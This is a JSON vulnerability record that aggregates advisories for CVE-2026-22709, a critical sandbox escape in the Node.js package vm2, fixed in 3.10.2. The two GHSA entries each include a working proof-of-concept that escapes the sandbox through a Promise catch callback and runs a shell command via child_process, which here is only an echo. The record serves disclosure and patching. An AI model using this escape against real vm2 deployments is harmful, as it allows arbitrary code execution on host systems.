{"id":"CVE-2026-22709","aliases":["CLSA-2026-1787860907","EUVD-2026-4660","GHSA-2cm2-m3w5-gp2f","GHSA-99p7-6v5w-7xg8","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-22709"],"status":"published","title":"vm2 has a Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0127,"percentile":0.70011,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693","CWE-913","CWE-94"],"published":"2026-01-26T18:57:14Z","modified":"2026-10-28T02:30:37Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.10.2"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.9.17-aikido.13","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.9.17-root.io.13","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.1"},{"fixed":"3.10.2"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.10.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.2","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22709","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-99p7-6v5w-7xg8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22709.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-22709","title":"vm2 has a Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","status":"published","published":"2026-01-26T21:32:00.215Z","modified":"2026-01-27T21:42:27.92Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94","CWE-913","CWE-693"],"updated_at":"2026-11-02T13:39:16.730222Z"}],"euvd":[{"id":"EUVD-2026-4660","description":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","status":"published","published":"2026-01-26T21:32:00Z","modified":"2026-01-27T21:42:27Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:46.818498Z"}],"ghsa":[{"id":"GHSA-99p7-6v5w-7xg8","title":"vm2 has a Sandbox Escape","description":"In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () =\u003e error.stack;\nconst promise = f();\npromise.catch(e =\u003e {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.","status":"published","published":"2026-01-26T18:57:14Z","modified":"2026-01-29T03:22:54Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-693","CWE-913"],"updated_at":"2026-11-02T14:39:20.563096Z"}],"nvd":[{"id":"CVE-2026-22709","description":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","status":"published","published":"2026-01-26T22:15:55.89Z","modified":"2026-06-17T10:20:16.55Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-94","CWE-693","CWE-913"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"CVE-2026-22709","title":"vm2 has a Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","status":"published","published":"2026-01-26T21:32:00.215Z","modified":"2026-10-28T02:30:37.860106079Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693","CWE-913","CWE-94"],"updated_at":"2026-11-02T15:44:58.42038Z"},{"id":"GHSA-99p7-6v5w-7xg8","title":"vm2 has a Sandbox Escape","description":"In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () =\u003e error.stack;\nconst promise = f();\npromise.catch(e =\u003e {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.","status":"published","published":"2026-01-26T18:57:14Z","modified":"2026-02-03T03:05:10.011021Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693","CWE-913","CWE-94"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"ROOT-APP-NPM-CVE-2026-22709","title":"CVE-2026-22709 in vm2 - Patched by Root","description":"Root has patched CVE-2026-22709 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:05.327740422Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}